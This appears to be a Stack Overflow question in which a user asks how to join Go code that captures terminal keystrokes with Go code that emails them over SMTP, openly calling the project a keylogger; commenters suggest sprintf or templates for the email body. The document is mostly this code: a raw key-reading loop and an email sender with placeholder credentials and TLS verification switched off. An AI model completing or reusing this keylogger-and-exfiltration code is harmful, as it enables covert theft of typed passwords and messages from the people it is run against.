0

My aim is for every time for ENTER to be pressed in the program all the keys recorded will be emailed. What I need to do is put the keystrokes into the body, and then make it loop to create another email.

Key recording code:

package main

import (
    "fmt"
    "os"
    "os/exec"
    "net/smtp"
)

func main() {
    exec.Command("stty", "-F", "/dev/tty", "cbreak", "min", "1").Run()
    exec.Command("stty", "-F", "/dev/tty", "-echo").Run()
    defer exec.Command("stty", "-F", "/dev/tty", "echo").Run()

    var b []byte = make([]byte, 1)
    for {
        os.Stdin.Read(b)
        fmt.Println("I got the byte", b, "("+string(b)+")")
    }
}

Email code:

package main

import (
    "fmt"
    "log"
    "net"
    "net/mail"
    "net/smtp"
    "crypto/tls"
)

func main() {

    from := mail.Address{"", "username@example.tld"}
    to   := mail.Address{"", "username@anotherexample.tld"}
    subj := "This is the email subject"
    body := "This is an example body.\n With two lines."

    headers := make(map[string]string)
    headers["From"] = from.String()
    headers["To"] = to.String()
    headers["Subject"] = subj

    message := ""
    for k,v := range headers {
        message += fmt.Sprintf("%s: %s\r\n", k, v)
    }
    message += "\r\n" + body

    servername := "smtp.example.tld:465"

    host, _, _ := net.SplitHostPort(servername)

    auth := smtp.PlainAuth("","username@example.tld", "password", host)

    tlsconfig := &tls.Config {
        InsecureSkipVerify: true,
        ServerName: host,
    }

    conn, err := tls.Dial("tcp", servername, tlsconfig)
    if err != nil {
        log.Panic(err)
    }

    c, err := smtp.NewClient(conn, host)
    if err != nil {
        log.Panic(err)
    }

    if err = c.Auth(auth); err != nil {
        log.Panic(err)
    }

    if err = c.Mail(from.Address); err != nil {
        log.Panic(err)
    }

    if err = c.Rcpt(to.Address); err != nil {
        log.Panic(err)
    }

    w, err := c.Data()
    if err != nil {
        log.Panic(err)
    }

    _, err = w.Write([]byte(message))
    if err != nil {
        log.Panic(err)
    }

    err = w.Close()
    if err != nil {
        log.Panic(err)
    }

    c.Quit()

}
Alanay
  • 41
  • 3
  • Sounds like u are writing a keylogger. – eduncan911 Jun 14 '17 at 16:13
  • Yeah, that's the plan. Not for malicious use though. – Alanay Jun 14 '17 at 16:15
  • If they keylogger works, and the email sending works, I'm not sure I understand the question. Put the logged keystrokes into the email body. – Adrian Jun 14 '17 at 16:25
  • Yes that's what I'm trying to do, but I don't know how to put the variable into the body. – Alanay Jun 14 '17 at 17:06
  • I think you should use `sprintf` function. You can read about it here https://golang.org/pkg/fmt/ or here https://stackoverflow.com/questions/11123865/golang-format-a-string-without-printing – Piotrowy Jun 14 '17 at 23:31
  • 2
    If you plan to put more stuff into the body: templates might the way to. If not: sprintf, as already mentioned. – skomp Jun 15 '17 at 06:18

0 Answers0